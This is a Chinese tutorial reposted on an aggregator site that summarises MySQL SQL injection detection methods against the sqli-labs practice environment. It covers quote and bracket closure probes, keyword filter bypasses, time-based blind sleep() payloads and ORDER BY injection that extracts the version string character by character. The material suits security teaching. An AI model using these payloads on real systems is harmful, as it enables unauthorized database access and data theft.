当前位置:首页 > 教育培训 >

sql语句连接后怎么判断引号

来源:原点资讯(www.yd166.com)时间:2023-06-04 19:22:06作者:YD166手机阅读>>

文章来自赛克艾威安全社区 id:ff1209125020,感谢ff1209125020学员的用心总结,主要针对目前主流的mysql数据库SQL注入检测语句及原理进行总结,攻击靶场环境使用sqli,特点:语言精炼,思路清晰,希望大家有所收获,如有疑问欢迎留言

sql语句连接后怎么判断引号,(1)

一、判断变量处理和单引号括号有没有关系:

1、加 " ' ": http://x.x.x.x/sqli/less-1/?id=1' ,返回正常就判断是否和双引号有关系

输出异常:最后在加上 “-- ” :http://x.x.x.x/sqli/less-1/?id=1' -- ,输出正常,参数处理为 id='$id',还输出异常则可能“-”被过滤,尝试 id=1' and '1'='1 和 id=1' and '1'='2

2、尝试:id=1')

输出异常:最后在加上 “-- ”:http://x.x.x.x/sqli/less-1/?id=1') -- ,输出正常,参数处理为 id=('$id'),还输出异常则可能“-”被过滤,尝试 id=1') and ('1')=('1 和 id=1') and ('1')=('2

3、尝试:id=1'))

输出异常:最后在加上 “-- ”:http://x.x.x.x/sqli/less-1/?id=1')) -- ,输出正常,参数处理为 id=(('$id')),还输出异常则可能“-”被过滤,尝试 id=1')) and (('1')=(('1 和 id=1')) and (('1'))=(('2


二、判断变量处理和双引号有没有关系,和以上步骤一样。

  1. “-”过滤,不用注释符号,使用and闭合
  2. “and”“or”过滤,使用大小写混写(ANd),或者在and单词之间再写一个and(anandd)。还有使用“&&”和“||”分别代替“and”和“or”

三、尝试:id=1-1 或者 1+1 //+ 是加号的URL编码,因为加号在URL中有特殊意义,表示空格,所以这里需要用这种转码方式来用加号

返回两个数计算过后查询的结果,可能为

  1. 整型:id=$id
  2. id=($id)
  3. id=(($id))

如果返回原来的页面,则是经过单引号或者双引号处理或者第一个数字后面的字符被过滤,尝试其他方法


四、判断时间盲注

比如一个URL:http://x.x.x.x/sqli/less-10/?id=1

输入什么值都显示的页面一致

  1. id=1 and sleep(4) -- 或者 id=1) and sleep(4) -- //延时打开网页,变量处理为:id=$id
  2. id=1' and sleep(4) -- 或者 id=1" and sleep(4) -- //延时打开网页,字符串处理为:id='$id' 或者 id="$id"
  3. id=1') and sleep(4) -- 或者 id=1')) and sleep(4) -- //延时打开网页,字符串处理为:id=('$id') 或者 id=("$id"),

五、判断order by sort 注入

1、修改数字,排序发生变化,为:sort=$sort 或者sort=($sort),sort不会是字符类型的,因为order by [所有字符] ,排序都是一样的

2、 利用bool注入判断有没有order by 注入。sort=rand(0) 和 sort=rand(1) 排序是不一样的。尝试:sort=rand(()) //必须是双括号.例:sort=rand(((left((select version()),1)=5))) //里面的left()函数返回值和5作比较计算出逻辑值0或1

sql语句连接后怎么判断引号,(2)

sql语句连接后怎么判断引号,(3)

上面这两个排序是一样的,我的版本号第一位是5,再看看第一位等于5时怎么排序

sql语句连接后怎么判断引号,(4)

这样就可以然后逐位猜解了。

3、利用报错注入order by

如果构造参数值能造成页面显示出错误,可以使用报错注入

sql语句连接后怎么判断引号,(5)

就像id参数那样注入,后面跟and 然后报错函数

sql语句连接后怎么判断引号,(6)

问题反馈 单选 0人 0% 较大帮助 0人 0% 有一些帮助 0人 0% 看不懂 0人 0% 还行

栏目热文

sql语句什么情况下加引号(sql语句条件查询)

sql语句什么情况下加引号(sql语句条件查询)

关于Insert字符串 ,在(单引号,双引号)这个方面发生了问题,其实主要是因为数据类型和变量在作怪。下面我们就分别讲述...

2023-06-04 19:37:59查看全文 >>

浏览器为什么停止运行(浏览器停止运行怎么解决)

浏览器为什么停止运行(浏览器停止运行怎么解决)

你们好,这里是Seek思科,为你寻找苹果最新资讯、苹果隐藏技巧、苹果良心APP以及苹果优质配件。如果你需要这些,不妨点个...

2023-06-04 19:29:33查看全文 >>

所有浏览器停止运行是怎么回事(浏览器已停止运行怎么恢复正常)

所有浏览器停止运行是怎么回事(浏览器已停止运行怎么恢复正常)

9月29日,pc浏览器发布停止服务公告,公告称,今年5月,PC浏览器已正式停止运行和维护。为了确保用户有足够的时间切换到...

2023-06-04 19:38:05查看全文 >>

浏览器显示停止运行咋回事(浏览器屡次停止运行是怎么回事)

浏览器显示停止运行咋回事(浏览器屡次停止运行是怎么回事)

功能介绍当遇到使用任我行浏览器登录访问软件提示:“Could not obtain OLE control window...

2023-06-04 18:59:24查看全文 >>

所有浏览器停止工作怎么办(浏览器停止工作崩溃怎么办)

所有浏览器停止工作怎么办(浏览器停止工作崩溃怎么办)

 用户在使用ie浏览器时遇到弹出“Internet Explorer已停止工作”错误提示,接下来给大家分享win7提示i...

2023-06-04 18:58:56查看全文 >>

sql语句中库要加引号吗

sql语句中库要加引号吗

第一章 SQL的介绍1.1、什么是sqlSQL:Structure Query Language。(结构化查询语言),通...

2023-06-04 19:09:32查看全文 >>

sql语句什么时候加双引号(sql语句加双引号怎么设置)

sql语句什么时候加双引号(sql语句加双引号怎么设置)

标准结构化查询语言(Structured Query Language)简称SQL,sql是我们日常工作中使用最多一项技...

2023-06-04 19:05:10查看全文 >>

sql语句中的反引号(sql语句大全及用法)

sql语句中的反引号(sql语句大全及用法)

目前找到的资料来看可以把这些绕过WAF的技术分为9类包含从初级到高级技巧a) 大小写混合 b)替换关键字 c)使用编...

2023-06-04 19:15:03查看全文 >>

sql语句中连接单引号怎么写

sql语句中连接单引号怎么写

书写风格1. 语句关键字应全部使用小写。2. 引用字符时应使用单引号。如:update testable set idc...

2023-06-04 19:03:53查看全文 >>

sql语句参数含有引号(sql语句条件查询)

sql语句参数含有引号(sql语句条件查询)

一、修改查询出来的字段属性①、cast 和convert都是用来将一种数据类型的表达式转换为另一种数据类型的表达式cas...

2023-06-04 19:38:48查看全文 >>

文档排行